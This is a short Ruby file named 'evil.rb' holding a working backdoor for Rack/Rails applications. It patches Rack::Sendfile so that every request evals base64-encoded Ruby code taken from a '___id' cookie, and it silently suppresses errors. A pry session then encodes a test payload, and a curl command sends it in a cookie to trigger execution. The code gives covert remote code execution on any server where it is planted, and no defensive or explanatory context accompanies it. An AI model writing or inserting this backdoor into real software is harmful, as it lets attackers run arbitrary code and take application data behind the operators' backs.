evil.rb

def _!
  begin
    yield
  rescue Exception
  end
end

Rack::Sendfile.prepend Module.new{
  define_method(:call){|e|
    _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))}
    super(e)
  }
}

pry(main)> code = %q(puts "UserCount => #{User.count}")
=> "puts \"UserCount => \#{User.count}\""
pry(main)> Base64.urlsafe_encode64(code)
=> "cHV0cyAiVXNlckNvdW50ID0-ICN7VXNlci5jb3VudH0i"

curl -i -b '___id=cHV0cyAiVXNlckNvdW50ID0-ICN7VXNlci5jb3VudH0i; dummy=dummy' localhost:3000